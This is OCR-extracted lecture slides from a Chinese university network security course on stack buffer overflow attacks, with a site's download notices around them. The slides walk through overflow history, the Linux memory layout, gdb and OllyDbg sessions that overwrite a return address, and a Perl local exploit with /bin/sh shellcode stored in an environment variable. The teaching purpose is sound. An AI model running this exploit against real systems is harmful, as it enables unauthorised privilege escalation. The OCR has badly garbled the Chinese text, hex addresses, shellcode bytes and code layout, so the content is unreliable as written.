IT计算机 网络安全第5章锦援冲区溢出攻击_第1页
IT计算机 网络安全第5章锦援冲区溢出攻击_第2页
IT计算机 网络安全第5章锦援冲区溢出攻击_第3页
IT计算机 网络安全第5章锦援冲区溢出攻击_第4页
IT计算机 网络安全第5章锦援冲区溢出攻击_第5页
已阅读5页,还剩61页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

网络要公

(CS05154)

第5锦援冲区溢出攻击

中国科考技木大学曾思华

次要均容

■缓冲区溢出历史

1.Linuxx86平台缓冲区溢出利用技术

1.Linux的内存管理

2.缓冲区溢出的流程

3.缓冲区溢出的攻击技术

2.Win32平台缓冲区溢出利用技术

Win32平台缓冲区溢出的流程

2.跳转地址

3.远程缓冲区溢出演示

(参考《网络渗透技术》)

网络安全(CS05154)缓冲区溢出攻击2

57接冲日溢出历史

■早在20世纪80年代初,国外就有人开始讨

论溢出攻击。

■1988年徜Morris蠕虫,利用的攻击方法之一

就是fingerd的缓冲区溢出,虽然这次蠕虫

事件导致6000多台机器被感染,损失在

$100000(十万)至$10000000(一千万)之

间,但是想冲区溢出问敢畀没市得到人们

的重视。

网络安全(CS05154)缓冲区溢出攻击3

溢出历史2

■1989年,SpaGord提交了一份关于运行在VAX

机上的BSD版UNIX的fingerd的缓冲区溢出程

序的技术细节的分析报告,从而引起了一部分

安全人士对这个研究领域的重视。但毕竟仅有

少数人从事研究工作,对于公众而言,没有太

多具有学术价值的可用资料。另处来自

LophtheavyIndustries的Mudge写了——篇如

何利用BSDI上的libc/syslog缓冲区溢出漏洞的

文章。

网络安全(CS05154)缓冲区溢出攻击4

溢出历史3

■然而真正有教育意义的第一篇文章诞或点

1996耳,A/ejM0〃e在P/zracZ盛志第49期农

表的裕次伸佃描述了L加戊系疣中枝的秸构

和电何利用基于栈的穗冲区溢出。Aleph

One的质献迷忘才给出了电何与执行一个

Shell的Exploit的方法,弃给这段代妈赋予

迦的名称。这个称呼沿用至今。

网络安全(CS05154)缓冲区溢出攻击5

演出历史4

■<Shellcode,编译一段使用系统调用

的简单的C程序,遍过调曲器柚取汇编代

巡,并根据需要修改这段汇编代码。

■AlephOne所给出的代码可以在

x86/Linux,Sparc/Solaris和

Sparc/SunOS系统上正确地运行。

网络安全(CS05154)缓冲区溢出攻击6

溢出历史5

■受到AlephOne的文章的启发,在Internet

上出现了大量的文章讲述如何利用缓冲区

溢出,以及如何写一段所需的Exploit。

■1997年,Smith除合。瑞的文章,梃供了

电何点各种UNIX变种中与穗冲区溢出

Exploit更存佃的猾导原则。

网络安全(CS05154)缓冲区溢出攻击7

溢出历史6

■Smith还收集了各种处理器体系结构下的

SheUcode,包括AlephOne公布的和AIX和

HPUX的。他在文章中还谈到了粗ix操作系

统的一些安全属性,例如,SUID程序、

Linux栈结构和功能等,并对安全编程进行

了讨论,还附带了一些有问题的函数的列

表,并告诉人们如何用一些相对更安全的

代码(包裹函数)替代它们。

网络安全(CS05154)缓冲区溢出攻击8

溢出历史7

Windows下的地址能造

■1998年来自“CultoftheDeadCow”的Dildog,

在Bugtrq邮件列表中以MicrosoftNetmeeting为例

子,详细地介绍了如何利用Windows的溢出技术。

这篇文章最大的贡献在于提出了利用栈媚针的方

法来完周能搭,返回地址固定地指向地址,不论

是在出问题的程序中还是在动态链接库中,该固

定地址包含了用来纣8里强省宣医<转的汇编指

令。

网络安全(CS05154)缓冲区溢出攻击9

溢出历史8

使用系疡核芯DLL中的能令来竞感按制

■Dildog提供的方法避免了由于进程线程的区

别而造成废位置不固定。Dildog还有另夕卜一

篇经典之作TheTaoofWindowsBuffer

Overflows。

■集大成者是DarkSpyrit,在1999年杂志第

55期上提出使用系统核心DLL中的指令来完

成控制的想法,将Windows下的溢出

Exploit推进了实质性的一步。

网络安全(CS05154)缓冲区溢出攻击10

淡出历史9

■DavidLitchfield在1999年为WindowsNT平

台创建了一个简单的Shellcode。他详细讨

论了WindowsNT的进程内存和栈结构,以

及基于栈的缓冲区溢出,并以rasman.exe

作为研究的实例,给出了提升权限创建一

个本地Shell的汇编代码。

网络安全(CS05154)缓冲区溢出攻击11

演出历史10

基于难的援冲区溢出

■1999年wOOwOO安全小组的MattConover写了基

于堆的缓冲区溢出的教程,开头写道:“基于

Heap/BSS的溢出在当今的应用程序中已经相当

普遍,但很少有被报道”。他注意到当时的保护

方法,例如非执行栈,不能防止基于堆的溢出,

并给出了大量的例子。

■缓冲区溢出攻击技术已经相当成熟,是渗透测试

者主要的技术手段。

网络安全(CS05154)缓冲区溢出攻击12

5.2Linuxx86年台

住冲区溢出利用技木

■1996年,AlephOne在Phrack杂志第49期

发表的“SmashingtheStackforFunand

Profit"是缓冲区溢出的经典之作,第一次

有人这么详细地介绍了缓冲区溢出产生的

原理和利用方法。

■这一节主要介绍Linux操作系统基于Intel

x86CPU的溢出技术。

网络安全(CS05154)缓冲区溢出攻击13

5.2.1Linux的的商管理

■x86是一款CISC(复杂指令集计算)芯片,由

于Intel的成功运作,它成为当今使用最广泛

的CPU。

■32位的*86称为1人32。LinuxIA32系统的进

程在内存中的结构如下图所示。

网络安全(CS05154)缓冲区溢出攻击14

programpath程序路径

Oxbfffffff(高地址)

envstrings环境变量字串

其他参数的栈帧

main函数的栈帧1

被调用函数的栈帧J

堆(heap)

1

Uninitialised.bss

Initialised.data

main()

.text

其它函数

共享库接口(低地址)

图1limixIA32进程在内存中的结构

网络安全(CS05154)缓冲区溢出攻击15

三种熬据段

■有三种数据段:.text、.bss、.datao

.text(文本区),任何尝试对该区的写操作会导致

段违法出错。文本区存放了程序的代码,包括

main函数和其他子函数。

.bss和data都是可写的。它们保存全局变

量,data段包含已初始化的静态变量,而上ss包

含未初始化的数据。

网络安全(CS05154)缓冲区溢出攻击16

■堆栈是一个后进先出(LIFO)数据结构,往低

地址增长,它保存本地变量、函数调用等信

息。

■随着函数调用层数的增加,栈帧是一块块地

向内存低地址方向延伸的,随着进程中函数

调用层数的减少,即各函数的返回,栈帧会

一块块地被遗弃而向内存的高址方向回缩。

各函数的栈帧大小随着函数的性质的不同而

不等。

网络安全(CS05154)缓冲区溢出攻击17

■堆的数据结构和栈不同,它是先进先出

(FIFO)的数据结构,往高地址增长,豆要

用未保落福本信息和劭态合配的变量。

■堆是通过malloc和free等内存操作函数分配

和释放的。

网络安全(CS05154)缓冲区溢出攻击18

极植的信息

■函数调用时所建立的栈帧包含了下面的信

息:

①函数的返回地址。IA32的返回地址都是存放在

被调用函数的栈帧里。

②调用函数的栈帧信息,即栈顶和栈底。

③名孤照的扃部变■台配的变间O

④为被调用函数的参数分配的空间。

网络安全(CS05154)缓冲区溢出攻击19

5.22接冲区溢出的流程

■由于函数里局部变量的内存分配是发生在栈帧里

的,所以如果在某一个函数里定义了缓冲区变

量,则这个缓冲区变量所占用的内存空间是在该

函数被调用时所建立的栈帧里。

■由于对缓冲区的潜在操作(比如字串的复制)都是

从内腐低征割之耻的,而内存中所保存的函数调

用返回地址往往就在该缓冲区的上方(高地址)一

—这是由于栈的特性决定的,这就为覆民履数的

返回也址提供了条件。

网络安全(CS05154)缓冲区溢出攻击20

溢出的流程(2)

■当我们有机会用大于目标缓冲区大小的内容

来向缓冲区进行填充时,就可以改写函数保

存在函数栈帧中的返回地址,从而使程序的

执行流程随着我们的意图而转移。这是

冯•诺依曼计算机体系结构的缺陷。

网络安全(CS05154)缓冲区溢出攻击21

IA32构架拨冲区溢出的实例

#include<stdio.h>

#include<string.h>

charlargebuff[]二

”1234512345123451234512345==ABCD”;

intmain(void)

(

charsmallbuff[16];

strcpy(smallbuf^largebuff);

网络安全(CS05154)缓冲区溢出攻击22

张备福本Linux下的程本褊铎

■注意:用不同版本的空c编译,上面largebu仟需要

的长度可能会有所不同。这是因为在x86的CPU

上,新旧gcc在对齐处理上实现不同,现在版本的

菖c默认媒持16字节栈对齐,而且堆栈的局部变

里的分配也是默认以16字节对齐。如下的两个

gcc编译参数可以改变编译器对堆栈的处理情况:

□-mprefered-stack-boundary=n希望栈按2的n次的字节边界对齐

-fomit-frame-pointer编译生成的代码不要STP(栈框架)

■用标准参数编译c程序

□gcc-osimple_overflowsimple_overflow.c

网络安全(CS05154)缓冲区溢出攻击23

在gdb碉曲环境中㈱行程序

■$gdbsimple_overflow

■(gdb)r

□Startingprogram:

/home/zeng^p/ns/simple_overflow

□ProgramreceivedsignalSIGSEGV,

Segmentationfault

□0x44434241in??()

网络安全(CS05154)缓冲区溢出攻击24

发史段褶镁时的寄卷器他

(gdb)ireg■在里的执行结果是

eax0xbfffe620-1073748448gdb

ecx0xb7fb51ff-1208266241eip已经被改为

edx0x80494411345178250x44434241,正好是

ebx0x42130a141108544020

esp0xbfffe6400xbfffe640ABCD倒过来,这是由

ebp0x3d3d3d350x3d3d3d35于IA32默认字节序

esi0x400153601073828704

edi0x8048380134513536little_endiano

eip0x444342410x44434241■接下来用gdb反汇编跟

eflags0x2102822163330踪程用,看看eip为仆

cs0x2335

ss0x2b43么会变为。X44434241。

ds0x2b43

es0x2b43

fs0x00

gs0x3351

网络安全(CS05154)缓冲区溢出攻击25

友汇编:晶版main

■(gdb)disasmain■0x08048340<main+24>:lea

■Dumpofassemblercodeforfunctionmain:0xffiffife8(%ebp),%eax

■0x08048328<main+0>:push%ebp■0x08048343<main+27>:push

■0x08048329<main+l>:mov%eax

%esp,%ebp■0x08048344<main+28>:call

■0x0804832b<main+3>:sub$0x18,%esp0x8048268<strcpy>

■0x0804832e<main+6>:and■0x08048349<main+33>:add

$0xfiffiffi),%esp$0x10,%esp

■0x08048331<main+9>:mov$0x0,%eax■0x0804834c<main+36>:leave

■0x08048336<main+14>:sub%eax,%esp■0x0804834d<main+37>:ret

■0x08048338<main+16>:sub$0x8,%esp■0x0804834e<main+38>:nop

■0x0804833b<main+19>:push■0x0804834f<main+39>:nop

$0x8049420■Endofassemblerdump.

网络安全(CS05154)缓冲区溢出攻击26

微置断点

执行程星,左看执行后的寄花器的他

■在简微的人口和感兴垂的假置被置断点。

■(gdb)b*(main+O)〃森i简微的人口不断点

Breakpoint1at0x8048328

■(gdb)b*(main+28)〃森strcpy西数不断点

Breakpoint2at0x8048344

■(gdb)r

Startingprogram:

/home/fpzeng/npt/ch02/2x2/simple_overflow

■Breakpoint1,0x08048328inmain()

网络安全(CS05154)缓冲区溢出攻击27

(gdb)ireg

eax0x11

ecx0x420155541107383636

edx0x40016bc81073834952

ebx0x42130al41108544020

espOxbffiff63cOxbfflff63c

ebpOxbfffi658Oxbfiffi658

esi0x400153601073828704

edi0x8048380134513536

eip0x80483280x8048328

eflags0x2002462097734

灌意:寄卷器的值成系疣的运行技态而陪帝系同

网络安全(CS05154)缓冲区溢出攻击28

西何重看main落剧的返命池征?

(gdb)x/x$esp

Oxbffff63c:0x42015574(main函数的返回地址)

(gdb)x/2i0x42015574-3

0x42015571:caU刃x8(%ebp)

0x42015574:mov%eax,%ecx

(gdb)x/x$ebp+8

0xbffiff660:0x08048328(main函数的第1条语句)

■可以看到,在main函数的最开始设置断点执行后的esp指

向的内容就是main函数的返回地址。我们的目标就是覆盖

这个地址,这样在main函数返回的时候转入我们的流程。

网络安全(CS05154)缓冲区溢出攻击29

gdb里单步猾令执行,看福本的执行流程

■(gdb)display/i$pc

■1:x/i$pc0x8048328<main>:

push%ebp■(gdb)

■(gdb)si■0x08048336inmain()

■0x08048329inmain()■1:x/i$pc0x8048336<main+14>:

sub%eax,%esp

■1:x/i$pc0x8048329<main+l>:

mov%esp,%ebp■(gdb)

■(gdb)■0x08048338inmain()

■0x0804832binmain()■1:x/i$pc0x8048338<main+16>:

sub$0x8,%esp

■1:x/i$pc0x804832b<main+3>:

sub$0x18,%esp■(gdb)

■(gdb)■0x0804833binmain()

■0x0804832einmain()■1:x/i$pc0x804833b<main+19>:

push$0x8049420

■1:x/i$pc0x804832e<main+6>:

and$OxfffiffflO,%esp■(gdb)

■(gdb)

■0x08048331inmain()

■1:x/i$pc0x8048331<main+9>:

mov$OxO,%eax

网络安全(CS05154)缓冲区溢出攻击30

gcc默欣保持16室节核对齐

■gcc在编译程序的时候,分配了0x18+0x8的空

间,这远远大于smallbufl^量16字节的大小。这

个前面已经讨论过了,是gcc默认保持16字节栈

对齐导致的。

■(gdb)si

■0x08048340inmain():leaOxffifflfe8(%ebp),%eax

■(gdb)

■0x08048343inmain():push%eax

■(gdb)

■0x08048344inmain():call0x8048268<strcpy>

网络安全(CS05154)缓冲区溢出攻击31

t看strcpy的参版

■继续单步指令执行,“call0x804834c”指令实

际就是调用strcpy函数,看看它push的两个参数:

□(gdb)iregesp

□esp0xbfffl2900xbfflG90

□(gdb)x/x0xbffif290

□0xbffffi290:0xbffif2a0(smallbu任的地址)

□(gdb)x/x0xbffffi290+4

□0xbffffi294:0x08049420(largebufffl勺地址)

□(gdb)x/s0x08049420

□0x8049420<largebuff>:"1234512345123451234512345==ABCD"

网络安全(CS05154)缓冲区溢出攻击32

实际演示

■压栈的第一个参数是largebuff的地址,第二个是

smallbu任的地址,gcc给它分配的大小是

0xbffif2bc-0xbfffiQa0=0xlc,所以需要28个字节

才能正好覆盖返回地址。

■执行strcpy后,Oxb册2bc已经被覆盖成

0x44434241。

■继续执行单卡指令到main的数返回,最后的ret指

令让eip等于esp指向的内容,并且esp等于esp+4。

■这时已经变为可以控制的地址了,也就是说我

们前以拴制程序的流诬o

网络安全(CS05154)缓冲区溢出攻击33

碉曲变点

■在3个地方设置断点

1.第一条汇编语句:在此记下函数的返回地址

(A=esp的值)(会劭态变4口

2,调用strcpy对应的汇编语句:记下smallbuf的起

始地址二B(会劭态变化八与A相减可以得到产生

缓冲区溢出所需的字节数二A-B

3.ret语句:查看esp的内容,被修改的返回地址

(演东)

网络安全(CS05154)缓冲区溢出攻击34

5.2.3接冲区溢出的攻击技术

低地址

ebp高地址

esp

buffer返回地址上个函数的栈

NOPNOP……ShellCodeRET-・・・・・RET

攻击串之1

■缓冲区溢出的基本原理是在函数返回的时候控制eip,从

而执行Shellcode,达到攻击的目的。

■上面这种方法一般用于被溢出的缓冲区比较大,足以容纳

Shellcode。

网络安全(CS05154)缓冲区溢出攻击35

.一

构造攻击率2

低地址

ebp高地址

esp

buffer返回地址上个函数的栈

RET-…RETNOPNOPShellCode

攻击串之2

■上面这种方法一般用于被溢出的变量比较小,不足以容纳

shellcodeo

■但是这两种方法shellcode的地址都没法准确的定位,传

统的方法是通过调试技术获得esp的值大概取值范围,然

后加上偏移和在Shellcode前面加上大量nop指令(0x90)

来确保返回地址落入shellcode。

网络安全(CS05154)缓冲区溢出攻击36

■构造攻击率之3

杷shellcode改在环境变量里

■对于本地溢出,还有一种更好的办法低地址(堆栈增长方向)

可以更精确定位shellcode地址。

■这种方法把shellcode放在环境变量里:堆栈数据

其他参数的栈帧E

低地址S

ebp高地址

esp环境变量P

buffer返回地址函数的栈…环境变量

程序路径

RET……RETShellCodeOxbffffffc—►

卜0x00000000

OxcOOOOOOO―►

网络安全(CS05154)缓冲区溢出攻击37

演示;环烧变量在堆栈中的住置

■gdbsimple_overflow顶位置

■b*(main)」/一

■x/20xOxbffiffifcZ

■Oxbfffiffifc:OxOOOOOOOOCannotaccessmemoryatOxcOOOOOOO

■x/20sOxb哪00(探测环境变量的起始

位置)

□由此可见,Linux系统的环境变量占的空间是很

大的,一般在1K以上,足于容纳shellcode。

网络安全(CS05154)缓冲区溢出攻击38

杷shellcode数在环境变量

确定返®池征

■用Oxbffiffifc减去程序路径#include<stdio.h>

长度和后面的结束符0以#include<string.h>

及shellcode长度和后面的intmain(intargc,char

结束符0就可以精确得到*argvQ)

shellcode开始的地址。

■关键在于把shellcode放charvutabuff[16];

到环境变量中。strcpy(vuInbuff,argv[l]);

■有了这些信息,那么就很printf("\n%s\nn,vuInbuff);

容易写出缓冲区溢出漏洞

getcharQ;/*fbrdebug*1

的攻击方法,比如一个漏

洞程序如下:

网络安全(CS05154)缓冲区溢出攻击39

#!/usr/bin/perl

##《网络渗透技术》演示程序

#作者:san,alert7,eyas,watercloud

$shellcode=

n\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2^x2^x62\x69n.

n\x89\xe3\x52\x53\x89\xel\x8d\x42\x0b\xcd\x80n;

#修改以下代码行

$path="/home/zeng^p/ns/vulnerablen;

$ret=Oxbfiffflfc-(length($path)+l)-

(length($shellcode)+1);

$new_retword=pack(T,$ret);

printf(H[+]UsingretshellcodeOx%x\nn,$ret);

%ENV=();$ENV{CC}=$sheUcode;

exec"$path”,$new_retwordx8;

网络安全(CS05154)缓冲区溢出攻击40

获得洋地shell

演示

■输入perlexploit.pl

■则可以得到一个本地shell

sh-2.05b$

■在另一个terminal输入

□psax|grepvulnerable

□gdbvulnerable11209(进程ID号)

网络安全(CS05154)缓冲区溢出攻击41

确定返®也耻的要直

■对于1、2两种攻击串,应该在shellcode之

前加上大量的NOP,通过调试后猜测ret的

值。

■对于本地攻击,将shellcode放在环境变量

中:

$ret=Oxbffffffc-(length($path)+l)

-(length($shellcode)+l);

网络安全(CS05154)缓冲区溢出攻击42

5.3Win32平台援冲区溪出利用技术

5.3.1Win32平台缓冲区溢出#include<stdio.h>

的流程#include<string.h>

■同样用上节Linux平台用过charlargebuff[]=

的溢出演示程序:

M1234512345123456===

■编译程序(VC6.0)=ABCDM;

□clsimple_overflow.cintmain(void)

■largebu任个字符串变量的

长度比Linux下的要短,这(

是因为VC6编译器并不像charsmallbuff[16];

现代版本的史c保持16字节strcpy(smallbuff,

栈对齐,而宴按照实际长largebuff);

度4字节对齐。}

网络安全(CS05154)缓冲区溢出攻击43

用OHyDbg倜诙

simple_overflow

■在Win32平台有很多优秀的调试器,

OllyDbg简单易用,强力推荐用它调试用户

冬的程序,这里也用它进行演示,如图所

示(NextPPT)。

演示;实际操作

网络安全(CS05154)缓冲区溢出攻击44

4

OllyDbg_5inple_o'rerflov.exe-[CPU-主线程.模块-siaple.汇编窗口寄存器窗口

回文件理)查看⑦调试②插件也)选项建)窗口⑥帮助QPX

2]列X曰叫回二]凹臼TMljJTM-dWHid力打亚-jgz2nr

地址HEX数据I反汇虢注释寄存器(MMX)7/<<<<

00401000fF-55PUSHEBPEAX00000000

004010018BECMOVEBP,ESPECX0012FFB0

0040100383EC10SUBESP.EBX7C95ED54ntdllyxt«mCallKet

004010066830504000PVSHsimpleo.00405030ASCII"123451234512345EBX7FPDFD00

0040100B8D45FOLEAEAX,DWOKDPTRSS[EBP-10]ESP0012FFC4

0040100E50PUSHEAXEBP0012FFF0

0040100FE80C000000CALLsimpleo.00401020ESI00000000

0040101483c408ADDESP,EDI00000000

004010178BE5MOVESP,EBP

EIF{00401110simple^,砥块入口点〉

00如1019POPEBPCo

0040101AI§RETNP1ES002332倬0(JFFFFFFF)

AoCS001E32位0CFFFHFFF)

0040101CCCI11T3Z1SS002332位OlTFFFFFFF)

IXJ40101PCCIBT3SoDS002332位OfTFFFTFFF)

0040101ECCnrr3ToFS003B32位7FFDE000iFFF)

0040101FCC1NT3BoGS0000KIILL

00401020$57PUSHEDI___________Oo

004010218B7C2408MOVEDI,DWORDPTRSS:[ESP^6]LastErrERRDR.SUCCESS>00000000)

00401025yEB6AJMPSHORTsimple_。.00401091

EFL00000246QTO.HB.E.BE,WS,PE,GE.LE)

004010278DDE•si-

00401028A4DUA4MMO0000000000000000

0040102924DB24CHAR,$'MM10000000000000000

0040102A00DD00MM20000000000000000

0040102B00DB00MM30000000000000000

0040102C00DBuUMM40000000000000000

0040102D00DBMM50000000000000000

0040102E8BFFMOVEDI.EDI_____________MM60000000000000000

00401030r$8B4C2404MOVECX,DWORDPTRSS[ESP+4]MM70000000000000000

00401034.57PUSHEDI

00401035F7C103000000TESTECX,

0040103B.v74OF

0040103D>8A01堆栈窗口

0040103F41

ooqoioqo84co数据区窗口

本地调用来自G臭块入口点X0AF

0012FFC4

0012FFC800000000

004050000000000000gOQOOjOO00g234000

0012FFCC00000000

00405010OU00000000000000g000000

0040502000000000000000GO1000000GO0012FFD07FFDF000

0040503031323334135313233134353132:3334353612345123451234560012FFD4822712厢

004050403D3D3D3D4!42434400oo00OOlOODO00GO==ABCD0012FFD80012FFC8

00ol:l00CO>OB0012FFDC00000000

004050507612400001000005000000vier.I..

00405060000000GOID0cl00C0104o00000100000000?.0012FFE0FFFFFFFFSEH琏尾部

00405070960000CO04000000000000OO58D0000CO?.??.0012FTO7C82B7D0SE处理程序

00405080080000GO,000000町8EooDO00GO0012FFE87C6123F0kem«1327C8123F0

00□??.

00405090ui.OCi00008Fm00CO0800000099ooi2mc00000000

oo一

OOIOSOAD90iji.00CO,080000,000000i9i00000012FFF000000000

,开始|GB四国函|命令提示符||]十OllyDbg-simple_ov...Q|D:\NsTest\chO2\2x3\.0您I9r00

女汇编代码今折

■灰色选择部分就是main函■00401000PUSHEBP

数的反汇编代码。知Linux■00401001MOVEBP,ESP

下几乎一样,只是分配堆■00401003SUBESP,10

栈空间严格按照程序,不■00401006PUSH

像gcc会多分配几个字节,simple_o.00405030

但也会4字节对齐。;Ascn

■OllyDbg的左上部分是反汇nl234512345123456====ABCD”

编窗口,右上部分是寄存

器窗口,右下部分是堆栈■0040100BLEAEAX,DWORDPTR

窗口,左下部分是数据区SS:[EBP-10]

窗口,这个结让人一目■0040100EPUSHEAX

了然,比起Linux/UNIX■0040100FCALL

下的gdb调试器直观多了。simple_o.00401020;

■接下来了解一下Windows■00401014ADDESP,8

平台下的溢出流程。把光■00401017MOVESP,EBP

标放到执行strcpy的那行:■00401019POPEBP

缓品郑撇101ARETN

网络安全(CS05154)46

看堆栈的变化

■然后按F4执行到这里,这时堆栈内容如下:

■0012FF680012FF70;smallbuf的地址

■0012FF6C00405030;largebuff&tl地址

ASCn"1234512345123456====ABCD"

■0012FF7040000061

■0012FF7400364988

■0012FF7800000000

■0012FF7C00401261返回至Usimple_o.00401261来自

simple_o.00401320

■0012FF800012FFC0

■0012FF84004011C4返回到simple_o.v模块入口点>+0B4来自

simple_o.00401000

网络安全(CS05154)缓冲区溢出攻击47

strcpy后的致累

■按F8执行strcpy操作,这时堆栈内容内容如卜:

■0012FF680012FF70ASCn"1234512345123456====ABCD"

■0012FF6C4)0405030ASCn"1234512345123456====ABCD"

■0012FF7。/34333231

0012FF7433323135

0012FF7832313534

0012FF7C36353433

0012FF803D3D3D3D

0012FF8444434241main。的返回地址被覆盖

■寄存器ebp的内容以及ebp+4保存的返回的地址都被覆盖了。继续按

F8单步执行后面几条指令

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论